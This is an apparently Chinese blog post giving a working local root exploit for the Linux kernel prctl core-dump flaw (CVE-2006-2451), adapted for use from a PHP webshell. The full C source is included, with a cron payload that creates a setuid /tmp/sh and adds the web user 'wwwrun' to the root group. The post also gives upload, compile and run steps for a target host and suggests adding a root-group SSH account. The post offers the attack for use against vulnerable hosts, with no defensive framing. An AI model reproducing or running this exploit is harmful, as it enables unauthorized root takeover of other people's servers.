Linux下WEBSHELL提权

18 篇文章 0 订阅
6 篇文章 0 订阅

用phpshell2.0和Linux Kernel2.6x 本地溢出代码配合提ROOT,现在不少LINUX主机都还有这个本地溢出漏洞。

前提:1、目标机上安装了GCC能编译源码

                 2、Kernel 2.6.x         (>= 2.6.13 && < 2.6.17.4)   

因为是在webshell里溢出成功也得不到返回的ROOT SHELL,所以要稍微修改下源码,把当前运行HTTP进程的用户加入到ROOT组(红色显示),让WEBSHELL有ROOT权限.

/**********溢出代码**************************/
/* Local r00t Exploit for:                                 */
/* Linux Kernel PRCTL Core Dump Handling                   */
/* ( BID 18874 / CVE-2006-2451 )                           */
/* Kernel 2.6.x        (>= 2.6.13 && < 2.6.17.4)                 */
/* By:                                                     */
/* - dreyer          <luna@aditel.org>         (main PoC code)         */
/* - RoMaNSoFt <roman@rs-labs.com> (local root code) */
/*                                        [ 10.Jul.2006 ]        */
/*****************************************************/

#include <stdio.h>
#include <sys/time.h>
#include <sys/resource.h>
#include <unistd.h>
#include <linux/prctl.h>
#include <stdlib.h>
#include <sys/types.h>
#include <signal.h>

char *payload="\nSHELL=/bin/sh\nPATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin\n* * * * *         root         cp /bin/sh /tmp/sh ;  gpasswd -a wwwrun root ; chown root /tmp/sh ; chmod 4755 /tmp/sh ; rm -f /etc/cron.d/core\n";

int main() { 
          int child;
          struct rlimit corelimit;
          printf("Linux Kernel 2.6.x PRCTL Core Dump Handling - Local r00t\n");
          printf("By: dreyer & RoMaNSoFt\n");
          printf("[ 10.Jul.2006 ]\n\n");

          corelimit.rlim_cur = RLIM_INFINITY;
          corelimit.rlim_max = RLIM_INFINITY;
          setrlimit(RLIMIT_CORE, &corelimit);

          printf("[*] Creating Cron entry\n");

          if ( !( child = fork() )) {
              chdir("/etc/cron.d");
              prctl(PR_SET_DUMPABLE, 2);
              sleep(200);
              exit(1);
          }

          kill(child, SIGSEGV);

          printf("[*] Sleeping for aprox. one minute (** please wait **)\n");
          sleep(62);

          printf("[*] Running shell (remember to remove /tmp/sh when finished) ...\n");
          system("/tmp/sh -p");
}

把上面的代码保存为tmp.c,上传到目标主机/tmp目录下,接着PHPSHELL里编译gcc -o tmp tmp.c ,然后执行./tmp (有时候需要执行几次才能成功).

用whoami命令看下你会发现你的WEBSHELL权限是ROOT.

char *payload 后面的命令都是以ROOT执行的,如果开放了SSH并且没做登陆限制,可以直接到那添加一个用户并加入到ROOT组,自己发挥~~~~~

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值